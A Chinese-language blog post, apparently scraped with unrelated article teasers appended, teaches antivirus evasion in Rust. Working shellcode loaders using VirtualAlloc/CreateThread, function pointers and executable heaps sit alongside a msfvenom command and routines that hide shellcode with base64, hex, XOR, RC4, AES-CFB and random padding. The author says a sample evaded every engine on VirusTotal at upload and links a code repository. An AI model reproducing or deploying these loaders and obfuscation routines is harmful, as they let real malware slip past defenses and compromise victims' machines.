Rust免杀 Shellcode加载与混淆2
前言
这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust,所以文中所涉及的知识和代码都有可能出现错误,所以再次说明这篇文章仅供参考并希望大家指正。
Shellcode加载方式
本文的主要目的是分享Rust对shellcode的加密混淆方式,所以对于shellcode加载只介绍两种基本的方式,可能在后续的文章中会对加载方式进行更多分享。
调用WinAPI
跟其他语言的shellcode加载器一样,要实现更多的shellcode加载方式,需要调用WinAPI。
执行shellcode的一般流程:
- 创建或获取一段可读写执行的内存空间
- 将shellcode移入这块内存空间
- 利用各种方式将程序执行的流程指向这块内存空间
Rust调用WinAPI需要先引入依赖,Cargo是Rust的一个包管理工具,要引入winapi依赖需要在Cargo.toml添加:
winapi = {version=“0.3.9”,features=[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]}
这里以加载msf生成的弹计算器的shellcode为例,先使用msfvenom生成一段raw格式的shellcode,保存到calc.bin文件中,并复制到Rust的项目目录下。
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
在Rust中,可以使用include_bytes!宏将静态文件在编译时包含进程序中。
下面通过调用VirtualAlloc申请一段内存,并设置为PAGE_EXECUTE_READWRITE权限,具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中,接着通过CreateThread创建线程,WaitForSingleObject等待线程结束。
参考:VirtualAlloc function, CreateThread function, WaitForSingleObject function
use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
fn main() {
let buffer = include_bytes!(“…\calc.bin”);
unsafe {let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let mut threadid = 0;let threadhandle = CreateThread(std::ptr::null_mut(),0,Some(transmute(ptr)),std::ptr::null_mut(),0,&mut threadid,);WaitForSingleObject(threadhandle, 0xFFFFFFFF);} else {println!("执行失败:{}", GetLastError());}
}
}
函数指针
link_section是Rust的一个attribute,它用来将特定的函数或者变量放到程序的指定的区块中,.text区块通常用来存储程序的执行代码,它会被加载到内存中并由处理器执行。
然后通过std::mem::transmute将 *const u8 类型的指针转换为函数类型 fn(),最后执行shellcode。
fn main() {
const BUFFER_BYTES:&[u8] = include_bytes!(“…\calc.bin”);
const BUFFER_SIZE:usize = BUFFER_BYTES.len();
#[link_section = ".text"]
static BUFFER:[u8;BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
unsafe{let exec = std::mem::transmute::<*const u8,fn()>(&BUFFER as *const u8);exec();
}
}
通过 heapapi 申请内存
由于VirtualAlloc是各大杀软的重点监控对象,所以通常需要使用其他的API来替代,下面介绍的是另一个常见的内存申请方式,即通过HeapCreate/HeapAlloc的组合来创建内存空间。
参考:HeapCreate function, HeapAlloc function
该方式同样需要先引入依赖,在Cargo.toml文件中添加如下依赖:
[dependencies]
winapi = {version=“0.3.9”,features=[“winuser”,“heapapi”,“errhandlingapi”]}
该方法通过HeapCreate创建HEAP_CREATE_ENABLE_EXECUTE权限的内存堆,然后通过HeapAlloc来从堆中分配内存空间,最后通过函数指针的方式执行shellcode。
use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;
fn main() {
let buffer = include_bytes!(“…\calc.bin”);
unsafe {let heap = HeapCreate(0x40000, 0, 0);let ptr = HeapAlloc(heap, 8, buffer.len());if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let exec = transmute::<*mut c_void, fn()>(ptr);exec();}
}
}
Shellcode混淆方式
上面介绍了在Rust中为shellcode申请内存空间和执行shellcode的几种常见的方式,接下来会介绍几种常见的编码和加密混淆方式在Rust中的实现。在实际的shellcode免杀的时候经常需要结合几种混淆方式,或者是自己设计加密混淆方式。
Base64编码
在Rust中实现base64编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:
[dependencies]
base64 = “0.20.0”
通过下面的代码即可将传入的切片类型的shellcode进行base64编码并返回一段字符串。
fn b64_enc(shellcode: &[u8]) -> String {
base64::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。
fn b64_dec(shellcode:String) -> Vec {
base64::decode(shellcode).expect(“Error”)
}
Hex编码
在Rust中实现Hex编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:
[dependencies]
hex = “0.4.3”
通过下面的代码即可将传入的切片类型的shellcode进行Hex编码并返回一段字符串。
fn hex_enc(shellcode: &[u8]) -> String {
hex::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。
fn hex_dec(shellcode:String) -> Vec {
hex::decode(shellcode).expect(“Error”)
}
异或加密
通过迭代器将shellcode与key逐个字符进行异或,然后进行base64编码返回一段字符串。
要进行解密,需要先进行base64解码,然后将异或加密后的shellcode再次与key进行逐个字符进行异或,即可还原shellcode。
fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
base64::encode(&encrypted)
}
fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = base64::decode(encrypted).expect(“msg”);
let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {
decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}
RC4加密
Rust要实现RC4加密与加密需要引入依赖,在Cargo.toml文件中添加下面的依赖。
[dependencies]
rust-crypto=“0.2.36”
base64=“0.13.0”
rustc-serialize = “0.3”
下面是实现RC4加解密的代码,在加密的函数中最终返回的是Base64编码后的字符串,而解密函数最终返回的是Vec数组,这是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。
use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;
fn main() {
let buffer = include_bytes!(“…\calc.bin”).as_slice();
let key = “pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZ0”;
let b64_string = enc(buffer, key);
let shellcode = dec(b64_string.as_str(), key);println!("== RC4 ==");
println!("Key: {}", key);
println!("\nEncrypted (Base-64): {}", b64_string);
println!("\nDecrypted: {:?}", shellcode);
}
fn enc(shellcode: &[u8], key: &str) -> String {
let mut rc4 = Rc4::new(key.as_bytes());
let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, &mut result);base64::encode(&mut result)
}
fn dec(b64: &str, key: &str) -> Vec {
let mut result = match base64::decode(b64) {
Ok(result) => result,
_ => “”.as_bytes().to_vec(),
};
let mut rc4 = Rc4::new(key.as_bytes());let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
rc4.process(&mut result[..], &mut shellcode);shellcode
}
AES-CFB加密
Rust要实现AES加密与加密也需要引入依赖,在Cargo.toml文件中添加下面的依赖。
[dependencies]
aes=“0.7.5”
hex=“0.4.3”
block-modes=“0.8.1”
hex-literal=“0.3.3”
下面是实现AES-CFB加解密的代码,在加密的函数中最终返回的是Hex编码后的字符串,而解密函数最终返回的是Vec数组,同样是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。
use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;
type Aes128ECfb = Cfb<Aes128, Pkcs7>;
fn main() {
let shellcode = include_bytes!(“…\calc.bin”).as_slice();
let key = “gWW8QklFyVIQfpDN”;
let iv = hex!(“57504c385a78736f336b4946426a626f”);
println!("==128-bit AES CFB Mode==");
println!("Key: {}", key);
println!("iv: {}", encode(iv));let encrypted = enc(shellcode, key, iv);
println!("\nEncrypted: {}", encrypted);let decrypted = dec(encrypted.as_str(), key, iv);
println!("\nDecrypted: {:?}", decrypted);
}
fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
let key = key.as_bytes().to_vec();
let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let pos = shellcode.len();
let mut buffer = [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();hex::encode(ciphertext)
}
fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec {
let binding = hex::decode(encrypted).expect(“Decoding failed”);
let ciphertext = binding.as_slice();
let key = key.as_bytes().to_vec();let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let mut buf = ciphertext.to_vec();
let shellcode = cipher.decrypt(&mut buf).unwrap();shellcode.to_vec()
}
添加随机字符
同样先在Cargo.toml文件中添加下面的依赖。
[dependencies]
hex = “0.4.3”
下面是结合异或加密和添加随机字符的代码,xor_encrypt将对shellcode与key进行异或,使用hex::encode将异或结果转为十六进制字符串返回,方便后面添加随机字符。add_random迭代xor_encrypt返回的字符串的每个字符,并在每次迭代时添加一个随机字符。最后,使用 hex::encode 将结果转为十六进制字符串返回。xor_decrypt和rm_random是对应的二次异或和删除随机字符的函数。
fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
hex::encode(&encrypted)
}
fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = hex::decode(encrypted).expect(“Error”);
let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}
fn add_random(xor_string: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in xor_string.chars().enumerate() {result.push(c);result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode(&result)
}
fn rm_random(random_string: &str) -> Vec {
let mut result = String::new();
let random_string = hex::decode(random_string).expect("Invalid String");
let random_string = match std::str::from_utf8(random_string.as_slice()) {Ok(s) => s,Err(_) => "Invalid UTF-8 sequence",
};for (i, c) in random_string.chars().enumerate() {if i % 2 == 0 {result.push(c);}
}
result.as_bytes().to_vec()
}
总结
Rust的编译体积是非常小的,虽然比不上C/C++,但是和Python和Go相比优势还是非常大的,并且Rust的热门程度也远小于Python和Go,所以杀软对Rust的检出程度也是非常低的,这都是Rust免杀的天然优势。结合本文章几种基础的加载方式和混淆方式还是可以轻松过一部分杀软的。以下链接是我半年前上传到virustotal的一个样本,半年过去了,目前的检出率为14/71:VirusTotal File(刚上传时检出率为0/71)。
这篇文章的代码部分我也已经提交到Github供大家参考:
AV-Bypass-Learning/rust-bypass-av
参考
Rust 参考手册 中文版
Programming reference for the Win32 API
include_bytes in std - Rust
Application Binary Interface - The Rust Reference
相关文章:
![](https://www.ngui.cc/images/no-images.jpg)
Rust免杀 Shellcode加载与混淆2
前言 这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Ru…...
![](https://img-blog.csdnimg.cn/img_convert/b3f1a3bc1f4639ac511c5d37404f7809.png)
牛客java训练题 day1
9.24 day1 Q 1. this 指针是用来干什么的? 2.基类和派生类分别是指什么? 3.为什么方法中不能写静态变量 4. 解释一下ASCII码和ANSI码和两者的区别 5.简述j ava.io java.sql java.awt java.rmi 分别是什么类型的包 6. 看下面一段代码:…...
![](https://img-blog.csdnimg.cn/img_convert/765ffeb8399d158f74a183f8515eedbf.png)
接口测试练习步骤
在接触接口测试过程中补了很多课, 终于有点领悟接口测试的根本; 偶是个实用派~,那么现实中没有用的东西,基本上我都不会有很大的概念; 下面给的是接口测试的统一大步骤,其实就是让我们对接口…...
![](https://img-blog.csdnimg.cn/70dfa72e202845e8bdac0e8d2e5cf8bf.jpeg#pic_center)
Qt/C++音视频开发56-udp推流和拉流/组播和单播推流
一、前言 之前已经实现了rtsp/rtmp推流,rtsp/rtmp/hls/flv/ws-flv/webrtc等拉流,这种一般都需要依赖一个独立的流媒体服务程序,有没有一种更便捷的方式不需要这种依赖,然后又能实现推拉流呢,当然有的那就是udpp推流&a…...
![](https://img-blog.csdnimg.cn/bf92f7130728413697012b36d6771bf2.png)
人工智能轨道交通行业周刊-第61期(2023.9.18-9.24)
本期关键词:焊线机器人、智能综合运维管理系统、信号平面图、铁路部门架构、书生浦语大模型 1 整理涉及公众号名单 1.1 行业类 RT轨道交通人民铁道世界轨道交通资讯网铁路信号技术交流北京铁路轨道交通网上榜铁路视点ITS World轨道交通联盟VSTR铁路与城市轨道交通…...
![](https://www.ngui.cc/images/no-images.jpg)
for...in 和 for...of 的区别
for...in 和 for...of 都是 JavaScript 中的循环语句,但它们的作用和使用方式略有不同。 1、for..in 循环 for..in 循环用于遍历对象的可枚举属性,它会将对象的每个属性名称(或键名)作为迭代变量来遍历。 以下是 for...in 的基本语法 for (variable …...
![](https://www.ngui.cc/images/no-images.jpg)
高并发系统 - 接口幂等技术方案,高可用系统架构与技术选型
幂等概念来自于数学,在计算机科学中,幂等表示一次后、或多次请求某一资源,应该有同样的影响效果。 在业务表现上一般是同样的数据效果,下面就常用的业务场景,来聊聊幂等的技术方案。 ----------------- 数据层 ----------------- 索引与事务 根据业务需要,给表添加唯一索…...
![](https://img-blog.csdnimg.cn/7d53eafed3844e98a61377b5183f43f0.png)
简单的手机电脑无线传输方案@固定android生成ftp的IP地址(android@windows)
文章目录 abstractwindows浏览android文件环境准备客户端软件无线网络链接步骤其他方法 手机浏览电脑文件公网局域网everythingpython http.server 高级:固定android设备IP准备检查模块是否生效 windows 访问ftp服务器快捷方式命令行方式双击启动方式普通快捷方式映射新的网络位…...
![](https://img-blog.csdnimg.cn/c48bd1c7d2184d6bbceb5a139d5116fb.gif)
Unity3D 检测鼠标位置的Sprite像素颜色
思路 获取鼠标所在屏幕坐标(Vector2)通过相机ScreenToWorldPoint(Vector3)转为世界坐标 (注意Vector3的z是距离相机的距离,相机需要正交)通过SpriteRenderer访问边界Bounds通过Bounds.Contain检测世界坐标是否在SpriteBounds内通过比例计算来确定在Sprite内的UV坐标…...
![](https://www.ngui.cc/images/no-images.jpg)
layui input 监听事件
//监听表单单选框复选框选择 form.on(radio, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单下拉菜单选择 form.on(select, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单复选框选择 …...
![](https://img-blog.csdnimg.cn/81f16b4549d4442c93db31dc59781b66.png)
一致性思维链(SELF-CONSISTENCY IMPROVES CHAIN OF THOUGHT REASONING IN LANGUAGE MODELS)
概要 思维链已经在很多任务上取得了非常显著的效果,这篇论文中提出了一种 self-consistency 的算法,来代替 贪婪解码 算法。本方法通过 采样多个思维链集合,然后LLM模型生成后,选择一个最一致的答案作为最后的结果。一致性思维链…...
![](https://img-blog.csdnimg.cn/img_convert/8a56d09943cb5a549e11de0b262910af.jpeg)
腾讯云16核服务器配置大全_16核CPU型号性能测评
腾讯云16核CPU服务器有哪些配置可以选择?可以选择标准型S6、标准型SA3、计算型C6或标准型S5等,目前标准型S5云服务器有优惠活动,性价比高,计算型C6云服务器16核性能更高,轻量16核32G28M带宽优惠价3468元15个月…...
![](https://www.ngui.cc/images/no-images.jpg)
HTML中Input elements should have autocomplete attributes的解决方案
kwfwservice.php:1 [DOM] Input elements should have autocomplete attributes (suggested: “current-password”): (More info: https://goo.gl/9p2vKq) <input name"password" id"password" lay-verify"required" placeholder"密码&…...
![](https://img-blog.csdnimg.cn/1bbeaf58d5ca468db8708b4695564447.png)
2808. 使循环数组所有元素相等的最少秒数;1015. 可被 K 整除的最小整数;1001. 网格照明
2808. 使循环数组所有元素相等的最少秒数 核心思想:枚举每个元素作为相等元素最多需要多少秒,然后维护它的最小值。最多需要多少秒是怎么计算的,我们可以把相等值的下标拿出来,然后你会发现两个相邻下标(相邻下标只的…...
![](https://img-blog.csdnimg.cn/741846eccf34438db567a82633f3a344.png#pic_center)
Python爬虫在Web应用自动化测试中的应用
在Web应用开发过程中,自动化测试是确保应用质量和稳定性的重要环节。本文将介绍如何使用Python爬虫与自动化测试技术相结合,实现对Web应用进行自动化测试的方法和步骤。通过这种结合,我们可以提高测试效率、减少人力成本,并确保应…...
![](https://csdnimg.cn/release/blog_editor_html/release2.3.6/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=N7T8)
苹果手机短信删除了怎么恢复?3种有效方法介绍
手机短信是一种即时通信方式,人们可以使用短信来达到快速传递信息的目的。在没有网络或者网络不稳定的时候,短信仍然可以做到发送和接收,这弥补了其他网络通信软件的缺点。 所以说,手机短信仍然是我们生活中不可缺少的一部分。当…...
![](https://img-blog.csdnimg.cn/840610beb0e04f4f97061eebcd9d2ac9.jpeg)
前端JavaScript中的 == 和 ===区别,以及他们的应用场景,快来看看吧,积累一点知识。
🎬 江城开朗的豌豆:个人主页 🔥 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想,就是为了理想的生活 ! 目录 一、等于操作符 二、全等操作符 三、区别 小结 一、等于操作符 等于操作符用两个等于号( &am…...
![](https://img-blog.csdnimg.cn/4291579f9dc5411fa615f3adbb810340.png#pic_center)
文献阅读:LIMA: Less Is More for Alignment
文献阅读:LIMA: Less Is More for Alignment 1. 内容简介2. 实验设计 1. 整体实验设计2. 数据准备3. 模型准备4. metrics设计 3. 实验结果 1. 基础实验2. 消解实验3. 多轮对话 4. 结论 & 思考 文献链接:https://arxiv.org/abs/2305.11206 1. 内容简…...
![](https://img-blog.csdnimg.cn/81f9d0b858a14865a730bd9016b8b8b3.png)
机器学习第十四课--神经网络
总结起来,对于深度学习的发展跟以下几点是离不开的: 大量的数据(大数据)计算资源(如GPU)训练方法(如预训练) 很多时候,我们也可以认为真正让深度学习爆发起来的是数据和算力,这并不是没道理的。 由于神经网络是深度学习的基础,学…...
![](https://img-blog.csdnimg.cn/d5480727c8834c2899b927cd2f1dabbd.png)
React(react18)中组件通信04——redux入门
React(react18)中组件通信04——redux入门 1. 前言1.1 React中组件通信的其他方式1.2 介绍redux1.2.1 参考官网1.2.2 redux原理图1.2.3 redux基础介绍1.2.3.1 action1.2.3.2 store1.2.3.3 reducer 1.3 安装redux 2. redux入门例子3. redux入门例子——优…...
![](https://img-blog.csdnimg.cn/1c8e3db7082d48c2858328bb481c7102.png)
最新AI创作系统+ChatGPT网站源码+支持GPT4.0+支持ai绘画+支持国内全AI模型
一、AI创作系统 SparkAi系统是基于很火的GPT提问进行开发的Ai智能问答系统。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作ChatGPT系统?小编这里写一个详细图文教程吧&#x…...
![](https://www.ngui.cc/images/no-images.jpg)
react+umi项目中引入antd组件报错:“Button”不能用作 JSX 组件解决方案
具体报错信息 “Button”不能用作 JSX 组件。 Its type ‘(props: IProps) > React.ReactElement’ is not a valid JSX element type. 不能将类型“(props: IProps) > React.ReactElement”分配给类型“(props: any, deprecatedLegacyContext?: any) > ReactNode”。…...
![](https://www.ngui.cc/images/no-images.jpg)
常用算法模板
目录 快读、快输 快读、快输 #include <cstdio> #define Re register int #define LD double// 读整数 inline void in(Re &x) {int f 0; x 0; char c getchar();while (c < 0 || c > 9) f | c -, c getchar();while (c > 0 && c < 9) x …...
![](https://img-blog.csdnimg.cn/5879ae8e05964182b80eb101f583deff.png)
最全跨境独立站建站详细步骤解析
对于跨境电商卖家来说,无论是规避“鸡蛋放在同一个篮子里”的风险,还是追求更多的销售额和利润,多平台、多站点的布局都是其至关重要的战略。加之市场的变化带来了新的发展机遇,这也使得如今很多出海企业都在抢占独立站新风口。然…...
![](https://img-blog.csdnimg.cn/img_convert/7be749c6d8077a336a13d6775d77128f.png)
提升群辉AudioStation音乐体验,实现公网音乐播放
文章目录 本教程解决的问题是:按照本教程方法操作后,达到的效果是本教程使用环境:1 群晖系统安装audiostation套件2 下载移动端app3 内网穿透,映射至公网 很多老铁想在上班路上听点喜欢的歌或者相声解解闷儿,于是打开手…...
![](https://img-blog.csdnimg.cn/c18a45af812f413cb045d1e72afa76e8.png)
虹科分享 | 谷歌Vertex AI平台使用Redis搭建大语言模型
文章来源:虹科云科技 点此阅读原文 基础模型和高性能数据层这两个基本组件始终是创建高效、可扩展语言模型应用的关键,利用Redis搭建大语言模型,能够实现高效可扩展的语义搜索、检索增强生成、LLM 缓存机制、LLM记忆和持久化。有Redis加持的大…...
![](https://www.ngui.cc/images/no-images.jpg)
VS Code 代码跳转到定义(.js 和 .vue文件跳转)
vscode 代码跳转到定义(.js 和 .vue文件跳转) 在日常的开发工作中,我们经常需要跳转到方法或变量的定义处,以便更好地理解和修改代码。VS Code 是目前比较流行的开发工具,然而它默认情况下并不支持这个功能,…...
![](https://img-blog.csdnimg.cn/6acba550ed344e65b6082bf4ef92f586.png#pic_center)
华为云云耀云服务器L实例评测 | Docker 部署 Reids容器
文章目录 一、使用Docker部署的好处二、Docker 与 Kubernetes 对比三、云耀云服务器L实例 Docker 部署 Redis四、可视化工具连接Redis⛵小结 一、使用Docker部署的好处 Docker的好处在于:在不同实例上运行相同的容器 Docker的五大优点: 持续部署与测试…...
![](https://img-blog.csdnimg.cn/img_convert/4641e65cd320e2c1ef4c0f9c43ba6efd.jpeg)
聚观早报 | 杭州亚运开幕科技感拉满;腾讯官宣启动「青云计划」
【聚观365】9月25日消息 杭州亚运开幕科技感拉满 腾讯官宣启动「青云计划」 FF任命新全球CEO 比亚迪夺得多国销冠 iPhone 15/15 Pro销售低于预期 杭州亚运开幕科技感拉满 杭州第19届亚洲运动会开幕式23日晚在杭州奥体中心主体育馆举行,这届开幕式可谓科技感拉…...
![](https://www.ngui.cc/images/no-images.jpg)
Linux Gnome桌面无法打开终端Terminal
文章目录 前言排障解决方式一解决方式二 前言 由于不知名的原因,导致gonme桌面里打开terminal一直转圈,无法打开。 这里我的故障是已知的,我是因为要把英文改为中文。但是界面依旧是英文,同时导致终端无法打开。 此方式centos d…...
![](https://img-blog.csdnimg.cn/img_convert/67d0865f17d9be527254bf8a8ff6c5b4.gif)
新开传奇网站单职业/推广平台排行榜app
一、NDK中获取android设备ID的方式Java代码如下(获取设备ANDROID_ID):final String androidId Secure.getString(context.getContentResolver(), Secure.ANDROID_ID);对应的c代码(相当蛋疼),注意如果是C,需要把所有的(*env)->替换成env-&…...
![](/images/no-images.jpg)
长沙网站优化公司/刷推广链接的网站
IP(Intelligent Property)核是具有知识产权核的集成电路芯核总称,是经过反复验证过的、具有特定功能的宏模块,与芯片制造工艺无关,可以移植到不同的半导体工艺中。到了SOC阶段,IP核设计已经成为ASIC电路设计公司和FPGA提供商的重要…...
![](/images/no-images.jpg)
北京个人网站建设/百度官方客户端
项目中,有时会遇到需要遍历生成多个内容,可以构建一个简单的数组,每个元素只要有值即可。 Array.prototype.keys() [...Array(5).keys()] -> [0, 1, 2, 3, 4]// 使用伪数组转的真数组也是一个道理 [...Array.from({length: 5}).keys()] -&…...
![](http://static.blog.csdn.net/images/save_snippets.png)
icp备案证书号查询/沈阳网站制作优化推广
Spring实现定时任务方法 标签: springquartztask 2017-03-11 02:02 190人阅读 评论(0) 收藏 举报 分类: spring(3) 作者同类文章Xtask quartz 版权声明:本文为博主原创文章࿰…...
![](/images/no-images.jpg)
wordpress图片cdn/江苏网站建设推广
查看Linux服务器的运行级别:who -r 或 runlevelLinux系统有7个运行级别(runlevel) 运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动运行级别1:单用户工作状态,root权限,用…...
![](/images/no-images.jpg)
台州网站策划/搜索引擎营销优化诊断训练
一、概念 (1)卷积(CNN) 卷积神经网络(CNN)是深度学习中十分重要的一种算法。卷积是一种数学计算方法,实际上是在卷积核(类似于滤波器,是一个含权重的模板)和输…...